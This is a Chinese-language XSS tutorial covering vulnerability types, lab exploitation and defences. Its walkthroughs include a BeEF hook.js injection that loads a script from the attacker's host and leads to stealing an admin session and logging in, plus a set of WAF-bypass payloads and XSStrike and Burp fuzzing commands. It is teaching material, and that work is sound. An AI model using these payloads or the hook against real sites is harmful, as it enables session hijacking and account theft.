网络安全是数字时代的基石,但学习过程中必须严守法律红线。 根据《中华人民共和国网络安全法》《数据安全法》等法律法规,任何未经授权的网络测试、数据访问或攻击行为均属违法。本文所有技术讨论与实例均基于合法授权的靶场环境(如Metasploitable、DVWA、Hack The Box等),严禁将文中方法应用于真实系统或非授权场景。网络安全学习应以提升防御能力为目标,而非成为攻击工具。
一、XSS漏洞定义与原理
跨站脚本攻击 XSS(Cross Site Scripting),为了不和层叠样式表(Cascading StyleSheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS。
XSS(跨站脚本攻击)是一种通过注入恶意脚本到网页中,利用用户浏览器执行这些脚本的安全漏洞。攻击者通常利用网站对用户输入过滤不足的缺陷,注入JavaScript等脚本代码,当其他用户访问受感染页面时,脚本会在其浏览器中执行,导致数据窃取或恶意操作。其本质是用户输入未经过严格校验而被浏览器直接解析执行。
二、XSS漏洞分类
1、反射型XSS
通过恶意链接一次性触发,常见于URL参数传递场景(如搜索功能)。攻击者诱导用户点击含恶意脚本的链接,服务器将脚本反射到用户页面执行。 示例:http://example.com/search?query=<script>alert('XSS')</script>。
1.)实例1(get反射性)
a. 修改网页代码
更改 maxlength=“20” 为 maxlength=“200”
输入框输入js代码 <script>alert('XSS')</script>

点击submit

b. URL上传参
网页上随便输入什么内容,获得url上的传递参数
将 message=<script>alert('XSS')</script> 写入参数

2.)实例2(post反射型)
登录后,在文本框输入 <script>alert('XSS')</script>

2、存储型XSS
恶意脚本永久存储在服务器数据库(如论坛评论),所有访问受影响页面的用户均会触发攻击,危害性更大。 典型案例:中国铁路货运系统曾因用户提交的投诉姓名字段未过滤,导致恶意脚本存储并执行。
案例:
在留言框中输入 <script>alert('XSS')</script> 并保存
每次进入聊天框都会出现如下图的提示框,直到删除留言

3、DOM型XSS
完全在客户端发生,通过修改DOM结构动态生成恶意代码,无需服务器参与。例如,通过document.write插入未过滤的用户输入。
实例:
输入框中输入 #' onclick="alert(1)" 打开开发者工具,发现网页代码改变为下图

点击元素 what do you see? 执行了目标代码

所以DOM型的XSS漏洞在执行中与服务器关系不大,这是它与反射型XSS最大的区别
三、危害与影响
数据窃取:盗取Cookie、会话令牌等敏感信息,冒充用户身份。 权限提升:利用窃取的Cookie访问受限功能,甚至控制账户。 传播恶意内容:篡改页面内容、植入钓鱼表单或恶意软件。 大规模攻击:如2025年Yellow.ai平台XSS漏洞导致数百家企业用户会话泄露。
四、防御措施
输入验证与过滤
对用户输入进行严格校验,移除或转义特殊字符(如<, >)。
输出编码
在渲染用户输入时,对HTML、JavaScript等上下文进行编码(如使用HtmlEncode)。
内容安全策略(CSP)
通过HTTP头限制脚本来源,防止内联脚本执行。
HTTP-only Cookie
防止JavaScript访问敏感Cookie,降低会话劫持风险。
五、案例–网页重定向
目标:登录订单网站后台
思路:
1.利用订单信息备注添加js代码;
2.使用beef 监控js代码执行情况;
3.一旦被执行,就会获取相关信息达到登录后台的目的
1、打开 beef 进行网络监控
kali系统中启动beef
# 进入beef所在路径,此处为 /opt/beef
cd /opt/beef
# 启动beef服务
./beef

2、订单网站下单
添加代码:<script src="http://192.168.70.139:3000/hook.js"> IP地址为开启beef的系统的IP地址
填写完成后提交

3、获取相关信息登录后台
假使,工作人员登录,并审核订单信息(点击未审核)

4、网页定向
此时,后台内容被转发到 http://192.168.70.139:3000/hook.js 切换到beef

此时,网页后台已经被监控,但是管理员并无察觉

在beef监控中,我们得到了重要的信息:后台地址和sessid 。
4、越权登录后台
将他们复制到kali系统的浏览器 –> HackBar工具 –> 点击Execute
注意:
- 连接中的 loaclhost 是因为此处的实例是在虚拟环境下测试的,正常情况下是要直到网站的域名或ip的 而这两样东西并不难找
- 复制过来的 cookie 结尾处要加 ; 符号

此时,直接进入了后台管理界面。对方此时有没有登录也不重要了。
六、XSS漏洞的局限性
七、XSS的绕过(WAF)技巧及修复
1、案例准备
虚拟服务器中添加 1.php 文件,代码如下:
<?php
$xss=$_GET['x'];
echo $xss;
?>
2、测试
在url中添加请求参数 ?x=<script>alert(1)</script>
1.)没狗(WAF)

2.)有狗(WAF)

3、手工绕过
1.)标签语法替换
使用其他标签来替换,不同 WAF 过滤的手段并不一样,需要自己尝试
a. audio 标签
<audio src=x onerror=alert(47)>
<audio src=x onerror=prompt(1);>
<audio src=1 href=1 onerror=javascript:alert(1)></audio>
http://192.168.70.136/1.php?x=<audio src=x onerror=alert(47)>

http://192.168.70.136/1.php?x=<audio src=x onerror=prompt(1)>

http://192.168.70.136/1.php?x=<audio src=1 href=1 onerror=javascript:alert(1)></audio>

b. video 标签
<video src=x onerror=prompt(1);>
<video src=x onerror=alert(48)>
http://192.168.70.136/1.php?x=<video src=x onerror=prompt(1);>

http://192.168.70.136/1.php?x=<video src=x onerror=alert(48)>

c. button 标签
<button onfocus=alert(1) autofocus>
<button/onclick=alert(1) >xss</button>
http://192.168.70.136/1.php?x=<button onfocus=alert(1) autofocus>

http://192.168.70.136/1.php?x=<button/onclick=alert(1) >ClickHere</button>

2.)加密算法
<details open ontoggle=eval(String.fromCharCode(97,108,101,114,116,40,49,41)) >
# 97,108,101,114,116,40,49,41 为ASCII编码,等价代码 alert(1)
http://192.168.70.136/1.php?x=<details open ontoggle=eval(String.fromCharCode(97,108,101,114,116,40,49,41))>
此处,因为规则的限制,被WAF 拦截

4、工具 XSStrike
XSStrike 是一款专注于检测和利用跨站脚本(XSS)漏洞的高级自动化扫描工具,由开发者 s0md3v 维护并开源。以下是其核心功能、安装及使用方法的综合说明:
1.)核心功能
-
多类型XSS检测
支持反射型、存储型、DOM型XSS漏洞的识别,通过模糊测试、模式匹配和逻辑推理技术降低误报率
-
智能Payload生成
内置精心构造的Payload库,可针对不同参数动态生成有效载荷,并支持编码绕过WAF过滤
-
爬虫与参数发现
自动爬取目标页面链接,提取隐藏参数,支持深度设置(默认2层)和种子文件导入
-
请求方式支持
兼容GET/POST请求,可处理JSON格式数据,支持代理、延迟设置及多线程并发
2.)安装步骤
环境要求
Python 3.8+ 环境,需安装依赖库(如 requests、BeautifulSoup 等)。
a. win系统安装包下载
需要在管理员模式下的cmd窗口运行
github 链接
安装包解压后路径下运行:
pip install -r requirements.txt
b.)kali 系统下安装
需要在root模式下的终端窗口运行
git clone https://github.com/s0md3v/XSStrike.git
cd XSStrike
pip install -r requirements.txt –break-system-packages
3.)常用参数
-h, –help //显示帮助信息
-u, –url //指定目标 URL
–data //POST 方式提交内容
-v, –verbose //详细输出
-f, –file //加载自定义 paload 字典
-t, –threads //定义线程数
-l, –level //爬行深度
-t, –encode //定义 payload 编码方式
–json //将 POST 数据视为 JSON
–path //测试 URL 路径组件
–seeds //从文件中测试、抓取 URL
–fuzzer //测试过滤器和 Web 应用程序防火墙。
–update //更新
–timeout //设置超时时间
–params //指定参数
–crawl //爬行
–proxy //使用代理
–blind //盲测试
–skip //跳过确认提示
–skip-dom //跳过 DOM 扫描
–headers //提供 HTTP 标头
-d, –delay //设置延迟
4.)使用示例
a. 基础扫描
python xsstrike.py -u "http://example.com/search?q=test" # GET请求
python xsstrike.py -u "http://example.com/login" –data "user=admin&pass=123" # POST请求
b. 高级功能
爬虫模式:–crawl 参数自动发现链接并测试。 模糊测试:–fuzzer 注入随机负载检测漏洞。 DOM检测:默认启用,可通过 –skip-dom 关闭。
5.)注意事项
- 目标URL需用双引号包裹,单引号可能导致报错。
- 部分功能(如爬虫)需合理设置延迟(–delay)避免触发反爬机制
- 如需进一步优化扫描策略,可结合 –headers 自定义请求头或 –proxy 配置代理
6.)实例
模糊探测网站 http://192.168.70.136/1.php?x=1
python xsstrike.py -u "http://192.168.70.136/1.php?x=1" –fuzzer

直接测试
python xsstrike.py -u "http://192.168.70.136/1.php?x=1"

出现提示的原因是先前编写的 1.php 文件并不是一个正确的html页面。所以更换代码:
<!DOCTYPE html><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>欢迎来到</title>
</head>
<body>
<h1 align=center>欢迎</h1>
<?php
$xss = $_GET['x'];
echo $xss;
?>
<center>测试 XSS</center>
</body>
</html>
再次运行 python xsstrike.py -u "http://192.168.70.136/1.php?x=1"

复制payload 到浏览器中执行。可以成功绕过WAF。如果不满意,可以输入 y 继续探测

如果不满意,可以输入 y 继续探测
5、BurpSuite字典爆破(fuzzdb)
xss漏洞的payload字典下载链接:https://github.com/tennc/fuzzdb/tree/master/dict/xss
打开 BurpSuite 浏览器和BurpSuite 设置好相关代理后,拦截网页 http://192.168.70.136/1.php?x=1
BurpSuite ==> Intruder 然后进行相关设置。导入的内容为下载下来的 payload 字典

设置好以后,点击 开始攻击
结果中长度比较长的,均为测试失败的 payload

结果中长度比较短的,均为测试成功的 payload

6、XSS修复
1.)httponly
如果您在 cookie 中设置了 HttpOnly 属性,那么通过 js 脚本将无法读取到 cookie 信息,这样能有效的防止 XSS 攻击,但是并不能防止 xss 漏洞只能是防止 cookie 被盗取。
2.)WAF添加规则
输入、输出验证
八、核心总结
1、定义与原理
XSS(跨站脚本攻击)通过注入恶意脚本到网页,利用浏览器执行代码,本质是用户输入未严格校验导致浏览器直接解析执行。
2、分类及特点
- 反射型XSS:通过恶意链接一次性触发,依赖用户点击,如URL参数注入。
- 存储型XSS:恶意脚本永久存储于服务器(如论坛评论),所有访问者均受影响,危害性更大。
- DOM型XSS:完全在客户端通过修改DOM结构触发,无需服务器参与,如document.write插入未过滤输入。
3、危害与防御
- 危害:数据窃取(Cookie、会话令牌)、权限提升、传播恶意内容、大规模攻击(如2025年Yellow.ai平台漏洞)。
- 防御措施:输入验证与过滤、输出编码(如HtmlEncode)、内容安全策略(CSP)、HTTP-only Cookie。
4、绕过与检测技术
- 手工绕过:标签替换(如 )、加密算法(ASCII编码)。
- 工具辅助:XSStrike支持多类型XSS检测、智能Payload生成及WAF绕过;BurpSuite结合fuzzdb字典爆破。
九、学习心得
1、漏洞本质认知
XSS的核心风险在于“信任用户输入”,即使简单的输入框也可能成为攻击入口。例如,订单网站备注字段注入恶意脚本可导致后台会话劫持,印证了“输入即威胁”的安全原则。
2、防御体系的重要性
单一防御措施难以彻底防范XSS,需结合“输入过滤-输出编码-CSP-HTTP-only Cookie”多层防护。例如,HTTP-only Cookie虽无法阻止XSS漏洞本身,但可有效防止Cookie窃取。
3、实战与工具结合
手工绕过需熟悉HTML标签特性与WAF规则,而工具(如XSStrike)能高效发现潜在漏洞。例如,通过模糊测试(–fuzzer参数)可快速定位过滤规则的薄弱点。
4、局限性与应对
XSS依赖漏洞存在、浏览器版本支持及用户触发,实际攻击需结合社会工程学(如诱导点击)。防御时需同时关注技术层面(代码审计)与流程层面(安全意识培训)。




